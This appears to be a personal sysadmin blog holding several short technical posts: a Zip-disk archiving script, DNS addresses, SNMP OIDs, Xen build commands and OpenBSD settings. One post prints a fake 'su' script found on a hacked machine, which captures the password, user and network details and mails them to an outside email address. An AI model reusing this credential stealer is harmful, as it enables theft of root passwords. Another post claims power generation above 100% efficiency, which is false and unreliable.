base_file="Zip100_" base_dir="/Users/smith/Documents/GraphicDesign" while true ; do if [ -d "/Volumes/Zip 100" ] ; then vol_dir="/Volumes/Zip 100" elif [ -d "/Volumes/ZIP-100" ] ; then vol_dir="/Volumes/ZIP-100" elif [ -d "/Volumes/100zip" ] ; then vol_dir="/Volumes/100zip" fi if [ -d "${vol_dir}" ] ; then ls -1 $base_dir last=`ls -1 $base_dir/ | cut -f2 -d_ | tail -n1 | sed "s,^[0],,g"` echo "Last: ${base_dir}/${base_file}`printf '%02d' ${last}`/" if [ -f "${base_dir}/${base_file}`printf '%02d' ${last}`/.done" ] ; then #move to next one echo "${base_dir}/${base_file}`printf '%02d' ${last}`/ is DONE" next=`printf "%02d" $(($last + 1))` echo Next is "${base_dir}/${base_file}${next}/" mkdir "${base_dir}/${base_file}${next}/" && \ rsync -av --progress --stats "${vol_dir}/"* "${base_dir}/${base_file}${next}/" && \ touch "${base_dir}/${base_file}${next}/.done" && \ hdiutil detach "${vol_dir}" else #rsync copy to last && \ rsync -av --progress --stats "${vol_dir}/"* "${base_dir}/${base_file}`printf '%02d' ${last}`/" && \ touch "${base_dir}/${base_file}`printf '%02d' ${last}`/.done" && \ hdiutil detach "${vol_dir}" fi sleep 10 else echo "Volume does not exist, sleeping for 5 seconds" sleep 5 fi done
November 28, 2012
Quick Script to help you archive all those IOMega ZIP Disks
September 21, 2010
Stream HD Video to Your Wii
The power of the WII limits what kind of files you can stream (up to 720 wide) videos. High Def videos (1280 & 1920 wide) will not play.
- Get WIIMC from http://www.wiimc.org/downloads/ , install for HomeBrew channel
- Get and install VLC on your PC. www.videolan.org
July 6, 2010
Softbank BB DNS Server IP addresses
I pay a significant amount of money, (around $55/mo) for my 100Mb VDSL connection here at home in Tokyo. I did not wish to pay the $6/mo rental fee to use their router, so I build my own using ClarkConnect. The problem is that they would not give me the DNS information? Are you kidding me? They didn’t even know what “DNS server IP address” was. I talked to two different technical support groups but was very disappointed with the Softbank technical support. Finally, I told them I bought my own router, and they transferred me to the second technical group who told me that there was a $20 fee for configuration setting information. Asses. Anyways, after hacking around a little in the Japanese Router OS, I found what I was looking for. I figured I’d post them here for anyone else who may be looking for them.
218.176.253.65
218.176.253.97
July 5, 2010
fufezanu@yahoo.es
Hackers files I’ve found laying around:
/usr/include/gpm2.h
/usr/share/local/cs/rootexec
/usr/share/local/ca/rootexec
~/.ssh/.sh
#!/bin/sh
#
# by CorteZ @ #Linux-Team
#
while [ "$pass" = "" ]; do
echo -en “Password:”
read -s pass
done
if [ $# != 1 ]; then
echo “[`date`]” >> ~/.xdm01 2>/dev/null
echo “[+] User: `id | cut -d”(” -f2 | cut -d”)” -f1` ~ Remote: $1 ~ Parola: $pass” >> ~/.xdm01 2>/dev/null
echo “`/sbin/ifconfig |grep inet`” >> ~/.xdm01 2>/dev/null
cat ~/.xdm01 | mail -s ‘SU report’ fufezanu@yahoo.es 2>/dev/null
/bin/su
unset pass
fi
echo “[`date`]” >> ~/.xdm01 2>/dev/null
echo “[+] User: `id` ~ Parola: $pass” >> ~/.xdm01 2>/dev/null
cat ~/.xdm01 | mail -s ‘SU report’ fufezanu@yahoo.es 2>/dev/null
/bin/su
unset pass
April 7, 2010
Greater than 100% efficiency power generation
Electric Power Generator:
http://www.youtube.com/watch?v=12uGhGPkzoA&feature=related
Water (Oxyhyrdrogen)
Thermal Deploymerization
http://www.youtube.com/watch?v=CWf9nYbm3ac&feature=related
April 5, 2010
Areca 1280 ML SNMP OIDs
Areca 1280 ML SNMP OIDs
HW TEMP | .1.3.6.1.4.1.18928.1.1.2.1.0 |
HDD SLOTS (walk) | .1.3.6.1.4.1.18928.1.1.3.1.1.1 |
RAID NUMBER | .1.3.6.1.4.1.18928.1.1.4.1.1.1 |
RAID STATE | .1.3.6.1.4.1.18928.1.1.4.1.1.4.0 |
VOL NUMBER | .1.3.6.1.4.1.18928.1.1.5.1.1.1 |
VOL STATE (Vol1) | .1.3.6.1.4.1.18928.1.1.5.1.1.5.0 |
VOL STATE (Vol2) | .1.3.6.1.4.1.18928.1.1.5.1.1.5.1 |
VOL CAPACITY (Vol1) | .1.3.6.1.4.1.18928.1.1.5.1.1.4.0 |
VOL CAPACITY (Vol2) | .1.3.6.1.4.1.18928.1.1.5.1.1.4.1 |
Event Strings (Walk) | .1.3.6.1.4.1.18928.1.1.6.1.1.2.X |
/opt/wansecurity/bin/snmpwalk -v2c -c public HOSTNAME .1.3.6.1.4.1.18928.1.1.6.1.1.2
NetBotz (RackBotz) 310 SNMP OIDs
SNMP OIDs
TEMP | .1.3.6.1.4.1.5528.30.10.1.0 |
HUMIDITY | .1.3.6.1.4.1.5528.30.10.2.0 |
AIR FLOW | .1.3.6.1.4.1.5528.30.10.3.0 |
AUDIO | .1.3.6.1.4.1.5528.30.10.4.0 |
DOOR AJAR | .1.3.6.1.4.1.5528.30.10.5.0 |
HOSTNAME | .1.3.6.1.4.1.5528.50.1.0 |
DOMAIN | .1.3.6.1.4.1.5528.50.2.0 |
SMTP SERVER | .1.3.6.1.4.1.5528.50.8.0 |
SERIAL NUMBER | .1.3.6.1.4.1.5528.50.17.0 |
SYSLOG ADDRESS | .1.3.6.1.4.1.5528.50.54.0 |
Compile Xen 3.4.1 on Ubuntu Howto
These are the commands that I used to compile and install Xen 3.4.1 on my Ubuntu Server.
sudo su - apt-get update apt-get upgrade dpkg-reconfigure tzdata echo 'export EDITOR=/usr/bin/vi' >> /etc/profile apt-get remove exim4 exim4-base lpr nfs-common portmap pidentd pcmcia-cs pppoe pppoeconf ppp pppconfig apt-get install build-essential g++ apt-get install python-dev python-twisted apt-get install bridge-utils apt-get install debootstrap apt-get install reiserfsprogs apt-get install mercurial apt-get install gawk apt-get install gettext openssl zlib1g-dev openssl libssl-dev libx11-dev apt-get install libx86-dev bin86 bcc ncurses-dev texinfo mkdir /usr/src/XEN cd !$ wget http://bits.xensource.com/oss-xen/release/3.4.1/xen-3.4.1.tar.gz hg clone http://xenbits.xensource.com/linux-2.6.18-xen.hg tar zxf xen-3.4.1.tar.gz cd xen-3.4.1 make prep-kernels make dist make install
Howto change keyboard encoding for OpenBSD
To change the keyboard encoding on OpenBSD 4.4 set keyboard.encoding=?? where ?? is your country code.
For example, I wanted to change the keyboard encoding to Japanese. So I set
keyboard.encoding=jp
in /etc/wsconsctl.conf
To enable the change immediately from the command line you can type:
wsconsctl -w keyboard.encoding=jp
March 18, 2010
Issue compiling cairo-1.9.6 / rrdtool on CentOS / Snowleopard
I kept getting the following error in rrdtool’s config.log
libcairo.so: undefined reference to `pthread_mutexattr_settype'
Reverting to version 1.8.0 allowed me to get RRDTool compiled and functioning
How dare I think something was wrong with rrdtool!